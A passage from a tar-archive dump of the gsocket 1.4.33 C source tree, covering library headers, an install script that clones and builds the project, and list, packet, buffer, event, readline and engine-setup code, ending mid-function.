uint32_t GS_hton(const char *hostname);
uint8_t GS_ADDR_get_hostname_id(uint8_t *addr);
void GS_SELECT_FD_SET_W(GS *gs);
void GS_daemonize(FILE *logfp);
uint64_t GS_usec(void);
void GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix);
#define GS_BPS_MAXSIZE (8) // _without_ length of suffix!
char *GS_format_since(char *dst, size_t sz, int32_t sec);
#define GS_SINCE_MAXSIZE (7)
char *GS_getpidwd(pid_t pid);
const char *GS_gen_secret(void);
const char *GS_user_secret(GS_CTX *ctx, const char *file, const char *sec_str);
#ifdef WITH_GSOCKET_SSL
const char *GS_SSL_strerror(int err);
void GS_srp_setpassword(GS *gsocket, const char *pwd);
const char *GS_get_cipher(GS *gs);
int GS_get_cipher_strength(GS *gs);
int GS_is_server(GS *gs);
const char *GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option);
const char *GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen);
const char *GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen);
const char *GS_sanitize_fname_str(char *str, size_t len);
const char *GS_sanitize_logmsg_str(char *str, size_t len);
#endif /* !WITH_GSOCKET_SSL */
#endif /* !__LIBGSOCKET_H__ */
gsocket-1.4.33/include/gsocket/list.h 0000664 0000000 0000000 00000001704 14072625040 0017451 0 ustar 00root root 0000000 0000000 #ifndef __GS_LIST_H__
#define __GS_LIST_H__ 1
typedef struct
{
void *next;
void *prev;
void *gsl; // Pointer to GS_LIST context
uint64_t id;
int add_id;
int is_calloc;
void *data;
} GS_LIST_ITEM;
typedef struct
{
GS_LIST_ITEM *head;
GS_LIST_ITEM *tail;
int n_items;
int add_count;
int opt;
} GS_LIST;
#define GS_LIST_ID_COUNT(gsl) (gsl)->add_count // To add item to bottom of list
int GS_LIST_init(GS_LIST *gsl, int opt);
GS_LIST_ITEM *GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id);
void GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li);
int GS_LIST_del(GS_LIST_ITEM *li);
int GS_LIST_del_all(GS_LIST *gsl, int deep);
GS_LIST_ITEM *GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li);
GS_LIST_ITEM *GS_LIST_by_pos(GS_LIST *gsl, int pos);
GS_LIST_ITEM *GS_LIST_by_id(GS_LIST *gsl, uint64_t id);
void GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id);
void GS_LIST_stderr(GS_LIST *gsl, const char *msg);
#endif /* !__GS_LIST_H__ */ gsocket-1.4.33/include/gsocket/packet.h 0000664 0000000 0000000 00000003515 14072625040 0017747 0 ustar 00root root 0000000 0000000 #ifndef __GS_PACKET_H__
#define __GS_PACKET_H__ 1
#define GS_PKT_MAX_SIZE (2048) // content length without pkt-header (2 or 4 bytes)
#define GS_PKT_HDR_MAX_SIZE (4)
#define GS_PKT_MAX_MSG 128 // type = 0..127
#define GS_PKT_MAX_CHN 128 // type = 128..255
// #define GS_PKT_ESC 'e' // TESTING ONLY
#ifndef GS_PKT_ESC
# define GS_PKT_ESC 0xFB // escape character
#endif
#define GS_PKT_MSG_HDR_LEN (2)
#define GS_PKT_CHN_HDR_LEN (4)
typedef void (*gspkt_cb_t)(uint8_t type, const uint8_t *data, size_t len, void *arg);
/*
* - msg are fixed length (e.g. window size)
* - channels are streams (e.g. file transfer)
*/
typedef struct
{
size_t esc_len_rem;
uint8_t type; // type 0..127 is msg's, 128..255 is chn
uint8_t inband[GS_PKT_MAX_SIZE];// in-band packet/stream chunk
size_t len; // length of data in inband buffer
int is_got_chn_len; //
gspkt_cb_t funcs[256]; // Dispatch functions for msg/chn type
void *args[256];
} GS_PKT;
struct gs_pkt_msg_hdr
{
uint8_t esc;
uint8_t type;
} __attribute__((__packed__));
struct gs_pkt_chn_hdr
{
uint8_t esc;
uint8_t type;
uint16_t len;
} __attribute__((__packed__));
#define GS_PKT_IS_CHANNEL(a) (((a) >> 7) & 0x01)
#define GS_PKT_CHN2TYPE(a) (GS_PKT_MAX_MSG + a)
int GS_PKT_init(GS_PKT *pkt);
int GS_PKT_close(GS_PKT *pkt);
int GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg);
int GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg);
void GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
int GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
ssize_t GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
int GS_PKT_MSG_size_by_type(int type);
#define GS_PKT_TYPE_NONE 0x00
#endif /* !__GS_PACKET_H__ */
gsocket-1.4.33/install.sh 0000775 0000000 0000000 00000000427 14072625040 0015251 0 ustar 00root root 0000000 0000000 #! /bin/sh
command -v git >/dev/null 2>&1 || { echo >&2 "git not found. Try 'apt-get install git'"; exit 1; }
git clone --depth 1 https://github.com/hackerschoice/gsocket.git
cd gsocket
./bootstrap
./configure && make && echo "Type 'cd gsocket; sudo make install' to install."
gsocket-1.4.33/lib/ 0000775 0000000 0000000 00000000000 14072625040 0014007 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/lib/Makefile.am 0000775 0000000 0000000 00000000656 14072625040 0016055 0 ustar 00root root 0000000 0000000 noinst_LIBRARIES = libgsocket.a
noinst_PROGRAMS = @PROGRAMS_TEST_LIB@
EXTRA_PROGRAMS = list-test event-test
libgsocket_a_SOURCES = gsocket-util.c gsocket-select.c gsocket-ssl.c gsocket-engine.c packet.c gs-readline.c list.c event.c buf.c
list_test_SOURCES = list-test.c
list_test_LDADD = libgsocket.a
event_test_SOURCES = event-test.c
event_test_LDADD = libgsocket.a
noinst_HEADERS = gs-common.h gs-externs.h gsocket-engine.h
gsocket-1.4.33/lib/buf.c 0000664 0000000 0000000 00000004664 14072625040 0014741 0 ustar 00root root 0000000 0000000 /*
* A FIFO like buffer to. Used by file transfer as a write-buffer to queue
* control messages (such as chn_accept, chn_error, ...).
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
void
GS_BUF_init(GS_BUF *gsb, size_t sz_max_add)
{
memset(gsb, 0, sizeof *gsb);
gsb->sz_max_add = sz_max_add;
// gsb->sz_total = 16*1024*1024; // FIXME
// gsb->data = malloc(gsb->sz_total); // FIXME
GS_BUF_resize(gsb, 0);
}
void
GS_BUF_free(GS_BUF *gsb)
{
XFREE(gsb->data);
memset(gsb, 0, sizeof *gsb);
}
// Adjust size to have at least sz_min_free available.
int
GS_BUF_resize(GS_BUF *gsb, size_t sz_new)
{
if (GS_BUF_UNUSED(gsb) >= sz_new + gsb->sz_max_add)
return 0;
size_t t = gsb->sz_used + sz_new + gsb->sz_max_add;
// Round the new size to the next 1k boundary
gsb->sz_total = t - (t % 1024) + 1024;
DEBUGF_R("realloc to %zu, used %zu\n", gsb->sz_total, gsb->sz_used);
gsb->data = realloc(gsb->data, gsb->sz_total);
if (gsb->data == NULL)
{
// Fatal.
GS_BUF_free(gsb);
return -1;
}
return 0;
}
int
GS_BUF_add_length(GS_BUF *gsb, size_t len)
{
// Bail. There is sz_max_add space available but looks like caller wrote
// more data...
XASSERT(len <= GS_BUF_UNUSED(gsb), "Not enough space in buffer\n");
gsb->sz_used += len;
// Resize
GS_BUF_resize(gsb, 0);
return 0;
}
int
GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len)
{
GS_BUF_resize(gsb, len);
memcpy((uint8_t *)gsb->data + gsb->sz_used, data, len);
gsb->sz_used += len;
return 0;
}
int
GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...)
{
va_list ap;
int rv;
va_start(ap, fmt);
rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap);
va_end(ap);
if (rv <= 0)
return 0;
if (rv >= GS_BUF_UNUSED(gsb))
{
// Make buffer larger...
GS_BUF_resize(gsb, rv - GS_BUF_UNUSED(gsb) + 1 /*\0*/);
va_start(ap, fmt);
rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap);
va_end(ap);
if (rv <= 0)
return 0;
}
gsb->sz_used += rv;
GS_BUF_resize(gsb, 0);
return 0;
}
int
GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len)
{
GS_BUF_resize(gsb, len);
memmove((uint8_t *)gsb->data + gsb->sz_used, data, len);
gsb->sz_used += len;
return 0;
}
/*
* Consume data from beginning.
*/
int
GS_BUF_del(GS_BUF *gsb, size_t len)
{
XASSERT(gsb->sz_used >= len, "Cant. used=%zu, len=%zu\n", gsb->sz_used, len);
gsb->sz_used -= len;
memmove(gsb->data, (uint8_t *)gsb->data + len, gsb->sz_used);
return 0;
}
gsocket-1.4.33/lib/event-test.c 0000664 0000000 0000000 00000002130 14072625040 0016245 0 ustar 00root root 0000000 0000000 #include "gs-common.h"
#include
#include "gs-externs.h"
static int
cb_event(void *ptr)
{
#ifdef DEBUG
GS_EVENT *event = (GS_EVENT *)ptr;
#endif
DEBUGF("Event callback...(data = '%s', len = %zd)\n", (char *)event->data, event->len);
return 0;
}
int
main(int argc, char *argv[])
{
GS_EVENT_MGR mgr;
GS_EVENT my_e;
GS_EVENT *my_e_ptr;
GS_library_init(stderr, stderr, NULL);
srand(time(NULL));
GS_EVENT_MGR_init(&mgr);
my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(1), cb_event, "foobar", 7);
// Every 2 seconds return to caller
my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(2), NULL, "caller-action", 7);
GS_EVENT_add_by_ts(&mgr, &my_e, 0, GS_MSEC_TO_USEC(437), cb_event, "foobar500", 31337);
if (my_e_ptr == NULL)
ERREXIT("add_by_ts()\n");
uint64_t wait;
while (1)
{
wait = GS_EVENT_execute(&mgr);
DEBUGF_G("Next event in %"PRIu64" usec\n", wait);
if (mgr.is_return_to_caller)
DEBUGF_C("Return to caller triggered\n");
usleep(wait);
// GS_EVENT_del(my_e_ptr);
// my_e_ptr = NULL;
// GS_EVENT_DEL(&my_e);
}
return 0;
}
gsocket-1.4.33/lib/event.c 0000664 0000000 0000000 00000006525 14072625040 0015304 0 ustar 00root root 0000000 0000000 /*
* Event manager by time stamp (usec)
*
* FIXME-Performance: reduce calls to gettimeofday(). Use global.
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
int
GS_EVENT_MGR_init(GS_EVENT_MGR *mgr)
{
memset(mgr, 0, sizeof *mgr);
GS_LIST_init(&mgr->list_ts, 0);
return 0;
}
/*
* func == NULL is a special function which sets the mgr->is_return_to_caller := 1.
* This is used to pass control back to the caller when select() is used
* in any kind of 'forever' loop such as GS_select().
*/
GS_EVENT *
GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gse, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len)
{
if (gse == NULL)
{
gse = calloc(1, sizeof *gse);
XASSERT(gse != NULL, "calloc(): %s\n", strerror(errno));
gse->is_calloc = 1;
} else {
gse->is_calloc = 0;
}
// Get start time if not specified
// Start can also be an offset to current time if it is
// <1000.
if (start < 1000)
{
struct timeval tv;
gettimeofday(&tv, NULL);
start = GS_TV_TO_USEC(&tv) + GS_MSEC_TO_USEC(start);
}
gse->data = data;
gse->len = len;
gse->mgr = mgr;
gse->interval = interval;
gse->start = start;
gse->due = start + interval;
gse->func = func;
gse->id = mgr->id_counter;
mgr->id_counter += 1;
GS_LIST_add(&mgr->list_ts, &gse->li, gse, gse->due);
return gse;
}
int
GS_EVENT_del(GS_EVENT *gse)
{
int is_calloc;
if (gse == NULL)
return -1;
// Already deleted
if (gse->mgr == NULL)
return -1;
GS_LIST_del(&gse->li);
is_calloc = gse->is_calloc;
memset(gse, 0, sizeof *gse);
if (is_calloc)
XFREE(gse);
return 0;
}
uint64_t
GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr)
{
GS_LIST_ITEM *li;
li = GS_LIST_next(&mgr->list_ts, NULL);
// Return 1 second if no event scheduled.
if (li == NULL)
return GS_SEC_TO_USEC(1);
struct timeval tv;
uint64_t now;
gettimeofday(&tv, NULL);
now = GS_TV_TO_USEC(&tv);
// Return if top most entry's time has come...
if (now > li->id)
return 0;
return li->id - now;
}
/*
* Execute 1 event (if due) and return to the caller.
*
* Return 0 if there are more events to be executed.
* Return the usec until next event is due.
*/
uint64_t
GS_EVENT_execute(GS_EVENT_MGR *mgr)
{
uint64_t wait;
int ret;
wait = GS_EVENT_usec_until_event(mgr);
if (wait != 0)
return wait;
// HERE: top-most event is due. Execute.
GS_EVENT *event = mgr->list_ts.head->data;
if (event->func != NULL)
{
ret = event->func(event);
if (ret != 0)
{
// CB wants this event to be deleted
GS_EVENT_del(event);
return 0;
}
} else {
mgr->is_return_to_caller = 1;
}
// Schedule next execution for this event
// Detect clock skew (e.g. machine was in sleep mode)
struct timeval tv;
gettimeofday(&tv, NULL);
uint64_t now = GS_TV_TO_USEC(&tv);
uint64_t steps = (now - event->start) / event->interval;
event->due = event->start + ((steps + 1) * event->interval);
// DEBUGF("now %llu due %llu diff %llu\n", now, event->due, event->due - now);
GS_LIST_relink(&event->li, event->due);
return GS_EVENT_usec_until_event(mgr);
}
/*
* Execute all events that are due.
* Return the usec until next event is due (or 1 sec if no event scheduled)
*/
uint64_t
GS_EVENT_execute_all(GS_EVENT_MGR *mgr)
{
uint64_t next;
while (1)
{
next = GS_EVENT_execute(mgr);
if (next != 0)
break;
}
return next;
}
gsocket-1.4.33/lib/gs-common.h 0000664 0000000 0000000 00000013265 14072625040 0016066 0 ustar 00root root 0000000 0000000
#ifndef __GS_COMMON_H__
#define __GS_COMMON_H__ 1
#ifdef HAVE_CONFIG_H
# include
#endif
#include
#include
#include
#include
#include
#include
#if defined(__FREEBSD__)
# include
# include
# include
# include
#endif // __FREEBSD__
#include
#ifdef HAVE_NETINET_IN_SYSTM_H
# include
#endif
#include
#include
#include
#include
#include
#include // gethostbyname
#include
#ifdef HAVE_UNISTD_H
# include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include /* basename() */
#if defined(__APPLE__) && defined(HAVE_LIBPROC_H)
# include // getpidwd(pid_t)
#endif
#if defined(__FREEBSD__)
// FIXME: Please tell me where this is defined? fbsd 12-1 complains:
// /usr/include/libprocstat.h:122:15: error: field 'fs_cap_rights' has incomplete type
# ifndef cap_rights_t
typedef struct cap_rights cap_rights_t;
# endif
# include
#endif
#include
#include
#include
#include
#ifndef MAX
# define MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif
#ifndef MIN
# define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif
// debian-hurd does not define PATH_MAX (and has no limit on filename length)
#ifndef PATH_MAX
# define GS_PATH_MAX 4096
#else
# define GS_PATH_MAX PATH_MAX
#endif
#define D_RED(a) "\033[0;31m"a"\033[0m"
#define D_GRE(a) "\033[0;32m"a"\033[0m"
#define D_YEL(a) "\033[0;33m"a"\033[0m"
#define D_BLU(a) "\033[0;34m"a"\033[0m"
#define D_MAG(a) "\033[0;35m"a"\033[0m"
#define D_BRED(a) "\033[1;31m"a"\033[0m"
#define D_BGRE(a) "\033[1;32m"a"\033[0m"
#define D_BYEL(a) "\033[1;33m"a"\033[0m"
#define D_BBLU(a) "\033[1;34m"a"\033[0m"
#define D_BMAG(a) "\033[1;35m"a"\033[0m"
#ifdef DEBUG
# define DEBUGF(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, a); }while(0)
# define DEBUGF_R(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;31m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_G(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;32m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_B(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;34m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_Y(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;33m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_M(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;35m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_C(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;36m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_W(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;37m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUG_SETID(xgs) gs_did = (xgs)->fd
#else
# define DEBUGF(a...)
# define DEBUGF_R(a...)
# define DEBUGF_G(a...)
# define DEBUGF_B(a...)
# define DEBUGF_Y(a...)
# define DEBUGF_M(a...)
# define DEBUGF_C(a...)
# define DEBUGF_W(a...)
# define DEBUG_SETID(xgs)
#endif
#define SXPRINTF(ptr, len, a...) do {\
size_t n = snprintf(ptr, len, a); \
ptr += MIN(n, len); \
} while(0)
#define XFREE(ptr) do{if(ptr) free(ptr); ptr = NULL;}while(0)
#define xfprintf(fp, a...) do {if (fp != NULL) { fprintf(fp, a); fflush(fp); } } while (0)
#ifdef DEBUG
# define ERREXIT(a...) do { \
xfprintf(gs_errfp, "ERROR "); \
xfprintf(gs_errfp, "%s():%d ", __func__, __LINE__); \
xfprintf(gs_errfp, a); \
exit(255); \
} while (0)
#else
# define ERREXIT(a...) do { \
xfprintf(gs_errfp, "ERROR: "); \
xfprintf(gs_errfp, a); \
exit(255); \
} while (0)
#endif
#ifndef XASSERT
# define XASSERT(expr, a...) do { \
if (!(expr)) { \
xfprintf(gs_errfp, "%s:%d:%s() ASSERT(%s) ", __FILE__, __LINE__, __func__, #expr); \
xfprintf(gs_errfp, a); \
xfprintf(gs_errfp, " Exiting...\n"); \
exit(255); \
} \
} while (0)
#endif
#define XCLOSE(fd) do { \
if (fd < 0) { break; } \
DEBUGF_W("Closing fd = %d\n", fd); \
close(fd); \
fd = -1; \
} while (0)
#define XFD_SET(fd, set) do { \
/*if (fd <= 0) { DEBUGF_R("WARNING: FD_SET(%d, )\n", fd); } */ \
if (fd < 0) { break; } \
FD_SET(fd, set); \
} while (0)
#define XFD_CLR(fd, set) do { \
if (fd <= 0) { DEBUGF_R("WARNING: FD_CLR(%d, )\n", fd); } \
if (fd < 0) { break; } \
FD_CLR(fd, set); \
} while (0)
#ifdef DEBUG
# define HEXDUMP(a, len) do { \
int n = 0; \
xfprintf(gs_dout, D_BLU("LIB")" %s:%d HEX ", __FILE__, __LINE__); \
while (n < len) { xfprintf(gs_dout, "%2.2x", ((unsigned char *)a)[n]); n++; } \
xfprintf(gs_dout, "\n"); \
} while (0)
# define HEXDUMPF(a, len, m...) do{xfprintf(gs_dout, m); HEXDUMP(a, len);}while(0)
#else
# define HEXDUMP(a, len)
# define HEXDUMPF(a, len, m...)
#endif
#endif /* !__GS_COMMON_H__ */
gsocket-1.4.33/lib/gs-externs.h 0000664 0000000 0000000 00000000432 14072625040 0016256 0 ustar 00root root 0000000 0000000
#ifndef __LIBGSOCKET_GS_EXTERNS_H__
#define __LIBGSOCKET_GS_EXTERNS_H__ 1
#ifdef DEBUG
extern FILE *gs_dout;
extern int gs_did;
extern int gs_debug_level;
#endif
extern FILE *gs_errfp;
void gs_log(int type, int level, char *fmt, ...);
#endif /* !__LIBGSOCKET_GS_EXTERNS_H__ */
gsocket-1.4.33/lib/gs-readline.c 0000664 0000000 0000000 00000011623 14072625040 0016350 0 ustar 00root root 0000000 0000000 #include "gs-common.h"
#include
#include "gs-externs.h"
#define GS_RL_DEL 0x7f /* ^? */
int
GS_RL_init(GS_RL_CTX *rl, int len)
{
memset(rl, 0, sizeof *rl);
rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len);
rl->row = -1;
return 0;
}
/*
*/
static void
handle_backspace(GS_RL_CTX *rl)
{
if (rl->pos > 0)
rl->pos--;
rl->line[rl->pos] = 0x00;
}
/*
* Create visible characters based on normal 'key' input
* and limited to visible_len (may add '..' to start)
*
* Create esc-sequence to handle arrow/del/backspace
*
* Might be called with key == 0 on resize.
*/
static void
visible_create(GS_RL_CTX *rl, int row, int col, uint8_t key)
{
char *s_end = rl->line + rl->pos;
char *src = rl->line;
// Location of prompt has changed (window resize?)
if ((rl->row != row) || (rl->col != col))
{
// First time. Assume caller has cursor in correct pos
if (rl->row != -1)
rl->is_need_redraw = 1;
rl->row = row;
rl->col = col;
}
if (rl->pos > rl->visible_len)
rl->is_need_redraw = 1;
if ((rl->v_pos == 0) && (key == GS_RL_DEL))
{
// No data left to delete. Skip.
rl->esc_len = 0;
goto done;
}
if (rl->is_need_redraw == 0)
{
/* Try to just add character */
if (rl->pos == rl->visible_len)
{
// From ".." to ""
rl->is_need_redraw = 1;
} else if (rl->pos < rl->visible_len) {
if (key == GS_RL_DEL)
{
// Move left, print \s, move left
memcpy(rl->esc_data, "\x1B[D \x1B[D", 7);
rl->esc_len = 7;
goto done;
}
rl->esc_data[0] = key;
rl->esc_len = 1;
rl->vline[rl->v_pos] = key;
goto done;
}
}
if (rl->pos > rl->visible_len)
src = s_end - rl->visible_len;
char *d_end = rl->esc_data + GS_RL_ESC_MAX - 1;
char *ptr = rl->esc_data;
if (rl->is_need_redraw)
{
DEBUGF_Y("moving to %d;%df\n", row, col);
SXPRINTF(ptr, d_end - ptr, "\x1B[%d;%df", row, col);
}
size_t len;
len = MIN(s_end - src, d_end - ptr);
memcpy(ptr, src, len);
// Set '..' is larger than visible length...
if (rl->pos > rl->visible_len)
memset(ptr, '.', 2);
len = MIN(rl->visible_len, rl->pos);
memcpy(rl->vline, ptr, len);
len = ptr - rl->esc_data + len;
XASSERT(len < sizeof (rl->esc_data), "BO len = %zd\n", len);
rl->esc_data[len] = 0x00;
rl->esc_len = len;
rl->is_need_redraw = 0;
done:
rl->v_pos = MIN(rl->visible_len, rl->pos);
rl->vline[rl->v_pos] = 0x00;
}
void
GS_RL_reset(GS_RL_CTX *rl)
{
size_t vl = rl->visible_len;
int row = rl->row;
DEBUGF_Y("RL reset\n");
memset(rl, 0, sizeof *rl);
rl->visible_len = vl;
rl->row = row;
}
/*
* len is the length.
* row/col is the starting position of the prompt.
*
* Should be called every time the screen resizes.
*/
void
GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col)
{
rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len);
rl->row = 0; // triggers a is_need_redraw := 1
visible_create(rl, row, col, 0);
}
/*
* Offer data to readline.
*
* row/col are the cordinated where the input line starts (and to which pos)
* the cursor resets when '\n' is hit.
*
* Return <0 if it was an unhandled control character (stored in *key)
* This is also set if \n is pressed (end of readline input)
* Return 1 if more data is required.
*/
int
GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col)
{
uint8_t k = 0;
// rl->is_need_redraw = 1; // DEFAULT: FIXME-PERFORMANCE
// ^A or ^OA
DEBUGF_W("esc=%d c=0x%02x r%d,c%d\n", rl->is_in_esc, c, row, col);
if (rl->is_in_esc)
{
if ((rl->is_in_esc == 1) && (c == 'O'))
{
rl->is_in_esc = 2;
return 1; // More data required.
}
int rv = 1;
if ((c >= 'a') && (c <= 'z'))
rv = 0;
else if ((c >= 'A') && (c <= 'Z'))
rv = 0;
if (rv == 1)
return 1; // More data required.
DEBUGF_W("Out of ESC with c = 0x%02x\n", c);
rl->is_in_esc = 0;
k = c;
}
if (k != 0)
{
// Cursor left
if (k == 'D')
{
handle_backspace(rl);
visible_create(rl, row, col, GS_RL_DEL);
return 1;
}
// Any other cursor
// if ((k == 'A') || (k == 'B') || (k == 'C'))
// return 1;
goto ret_unhandled;
}
if (c == 0x1b)
{
DEBUGF_W("Going into escape\n");
rl->esc_len = 0;
rl->is_in_esc = 1;
return 1; // More data required
}
if ((c == GS_RL_DEL /*^?*/) || (c == 0x08 /*^H*/))
{
// Backspace
handle_backspace(rl);
visible_create(rl, row, col, GS_RL_DEL);
return 1;
}
if (c == '\r')
c = '\n'; // treat all \r as \n
k = c;
if (c == '\n')
{
/* Enter pressed */
rl->line[rl->pos] = 0x00;
rl->len = rl->pos;
/* Delete visible input from screen */
if (rl->pos > 0)
{
rl->esc_len = 0;
rl->v_pos = 0;
}
rl->pos = 0;
goto ret_unhandled;
}
// Unhandled control character
if ((c < 0x20) || (c > 0x7E))
{
DEBUGF("Unhandled: 0x%02x\n", c);
goto ret_unhandled;
}
if (rl->pos >= GS_RL_LINE_MAX)
return 1;
rl->line[rl->pos] = c;
rl->pos++;
rl->line[rl->pos] = 0x00;
visible_create(rl, row, col, c);
return 1;
ret_unhandled:
rl->esc_len = 0;
*key = k;
return -1;
}
gsocket-1.4.33/lib/gsocket-engine.c 0000664 0000000 0000000 00000156162 14072625040 0017070 0 ustar 00root root 0000000 0000000
#include "gs-common.h"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
#ifdef DEBUG
// # define DEBUG_SELECT (1)
#endif
#ifdef DEBUG
FILE *gs_dout; /* DEBUG OUTPUT */
int gs_did; // debug ID
int gs_debug_level;
fd_set *gs_debug_rfd;
fd_set *gs_debug_wfd;
fd_set *gs_debug_r;
fd_set *gs_debug_w;
#endif // DEBUG
FILE *gs_errfp;
gs_cb_log_t gs_func_log;
static struct _gs_log_info gs_log_info;
#define GS_NET_DEFAULT_HOST "gs.thc.org"
#define GS_SOCKS_DFL_IP "127.0.0.1"
#define GS_SOCKS_DFL_PORT 9050
#define GS_GS_HTON_DELAY (12 * 60 * 60) // every 12h
#ifdef DEBUG_SELECT
//# define GS_DEFAULT_PING_INTERVAL (30)
# define GS_RECONNECT_DELAY (3)
#else
//# define GS_DEFAULT_PING_INTERVAL (2*60) // Every 2 minutes
# define GS_RECONNECT_DELAY (15) // connect() not more than every 15s
# define GS_WARN_SLOWCONNECT (4) // Warn about slow connect() after 4 seconds...
#endif
// #define STRESSTEST 1
#ifdef STRESSTEST
//# define GS_DEFAULT_PING_INTERVAL (1)
#endif
static const char unit[] = "BKMGT"; /* Up to Exa-bytes. */
static int gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox);
static int gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox);
static int gs_pkt_connect_socks(GS *gsocket, struct gs_sox *sox);
static void gs_close(GS *gsocket);
static void gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val);
static void gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox);
static void gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox);
static int gs_net_connect_new_socket(GS *gs, struct gs_sox *sox);
#ifndef int_ntoa
const char *
int_ntoa(uint32_t ip)
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
#endif
#define gs_set_error(gs_ctx, a...) do { \
snprintf(gs_ctx->err_buf, sizeof (gs_ctx)->err_buf, a); \
} while (0)
void
gs_fds_out_fd(fd_set *fdset, char id, int fd)
{
#ifdef DEBUG_SELECT
if (FD_ISSET(fd, fdset))
DEBUGF("fd=%d %c (set)\n", fd, id);
else
DEBUGF("fd=%d %c (not set)\n", fd, id);
#endif
}
static int gs_lib_init_called;
void
gs_fds_out(fd_set *fdset, int max, char id)
{
#ifdef DEBUG_SELECT
char buf[max + 1 + 1];
memset(buf, ' ', sizeof buf);
int i;
for (i = 0; i <= max; i++)
buf[i] = '0' + i % 10;
buf[i] = '\0';
xfprintf(gs_dout, "%s (max = %d)\n", buf, max);
int n = 0;
memset(buf, '.', sizeof buf);
for (i = 0; i <= max; i++)
{
if (FD_ISSET(i, fdset))
{
n++;
buf[i] = id;
}
}
buf[i] = '\0';
xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, max);
#endif
}
void
gs_fds_out_rwfd(GS_SELECT_CTX *ctx)
{
#ifdef DEBUG_SELECT
int i;
char buf[ctx->max_fd + 1 + 1];
for (i = 0; i <= ctx->max_fd; i++)
buf[i] = '0' + i % 10;
buf[i] = '\0';
xfprintf(gs_dout, "%s (max = %d)\n", buf, ctx->max_fd);
memset(buf, ' ', sizeof buf);
buf[sizeof buf - 1] = '\0';
int c;
int n = 0;
for (i = 0; i <= ctx->max_fd; i++)
{
c = 0;
if (FD_ISSET(i, ctx->rfd))
c = 1;
if (FD_ISSET(i, ctx->wfd))
c += 2;
if (c == 0)
{
buf[i] = '.';
continue;
}
else if (c == 1)
buf[i] = 'R';
else if (c == 2)
buf[i] = 'W';
else if (c == 3)
buf[i] = 'X'; // Set of Reading _and_ Writing
else
buf[i] = 'E'; // Cant happen.
n++;
}
buf[i] = '\0';
